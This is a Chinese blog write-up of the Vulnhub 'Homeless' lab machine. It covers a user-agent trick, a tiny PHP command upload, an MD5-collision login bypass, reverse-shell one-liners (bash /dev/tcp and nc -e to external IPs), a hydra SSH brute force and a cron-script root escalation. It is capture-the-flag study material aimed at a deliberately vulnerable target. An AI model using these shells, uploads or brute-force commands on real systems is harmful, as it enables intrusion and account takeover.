menu Alkaid #二进制初学者 / 网络安全 / 大龄CTF退役选手
Vulnhub靶机Homeless实战笔记
83 浏览 | 2020-04-24 | 分类:Vulnhub,安全相关 | 标签:

靶机下载地址:https://www.vulnhub.com/entry/homeless-1,215/

前情概述

web是不可能会的,这辈子都不可能会的,顶多就是玩玩vuluhub,首先对于vulnhub靶场,第一件事就是扫描端口+信息收集了:

端口扫描

namp 端口扫描,发现目标主机开放两个端口,一个是web应用80端口,另一个是ssh的22端口。

脑洞?改写UA头

网页挺好看的,额,先看下源代码,发现什么都没有,之后就陷入自闭中了,只能从网上找到了大佬的WP,才知道这里要修改UA头,还是从一张图片找到的,本以为不做CTF就摆脱了脑洞题,结果现实还是残酷的。

利用burpsuit改写UA头,或者利用curl指令的-A参数修改UA头,获得文件上传的url:

curl -A "cyberdog slerting Porl" http://172.17.135.73

curl指令的常见使用方法

-A/--user-agent <string> 设置用户代理发送给服务器
-b/--cookie <name=string/file> cookie字符串或文件读取位置
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-D/--dump-header <file> 把header信息写入到该文件中
-e/--referer 来源网址
-f/--fail 连接失败时不显示http错误
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent 静音模式。不输出任何东西
-T/--upload-file <file> 上传文件
-u/--user <user[:password]> 设置服务器的用户和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-#/--progress-bar 进度条显示当前的传送状态

文件上传

到了文件上传,兴高采烈地掏出了小马,拿出了蚁剑准备连接,结果显示我上传的文件过大,纳尼,我还没上传大马呢。。。。
经过burp抓包,终于发现了其中的奥秘,这里有长度限制,没法上传一句话木马,但是可以上传一句话php命令,所以我们需要构造一条短小精悍的php语句。

<?=`ls`;                          #这句代码在php里等同于<?php echo `ls`;?>

上传成功后,访问页面可得:

直接查看这个可疑的txt文件,可以从中得到下一关的url地址。

MD5比较绕过


首先下载源代码,分析一波,发现是post传入username,password,code的值,比较传入的不相等并且md5后的值需要相同。

<?php
session_start();
error_reporting(0);
 
 
    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
 
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];
 
        if (($username == $password ) or ($username == $code)  or ($password == $code)) {
            
            echo 'Your input can not be the same.';
 
        } else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
            $_SESSION["secret"] = '133720';
            header('Location: admin.php');  
            exit();
 
        } else {
 
            echo "<pre> Invalid password </pre>";
        }
    }
?>

这个里面md5是用===全等来进行比较的,普通的数组绕过不了,这个样子只能是传三个值不同,但是md5相同的文件进去了,我使用了github上的一个项目:

利用python3 gen_coll_test.py生成了一堆md5相同的文件

再利用curl,将文件当做参数传入:

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt 
--data-urlencode "remember=1&login=Login" http://172.17.135.73/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

得到了cookie,这样就可以登录到admin页面了

命令执行

既然可以执行命令,而且没有过滤,我们当然先反弹一个shell回来:

bash -i >& /dev/tcp/172.17.135.75/4444 0>&1
nc -e /bin/bash 222.182.111.129 4444

在用户家目录找到提示,应该是要找python文件:

思路在这个时候断了,只好去看别人的题解,原来这个地方需要通过爆破高权限用户密码来提权,利用robots.txt和作者的提示,利用kali的rockyou字典并且密码开头为sec,进行爆破。

grep -Pao '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt
hydra -l downfall -P  pass.txt -t 4 172.17.135.73 ssh

提权成ROOT

在目录里发现了提示有一个邮件,并且查看了py文件的内容,执行system命令date

看下邮件,发现这个py文件是定时用root权限运行的,所以我们有权限修改python文件的内容,就可以用root权限执行各种命令,但是python脚本一直都是执行失败,我去网上找到了原因:

之后就是修改脚本,获取root文件夹下的flag了

温柔正确的人总是难以生存,因为这世界既不温柔,也不正确

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!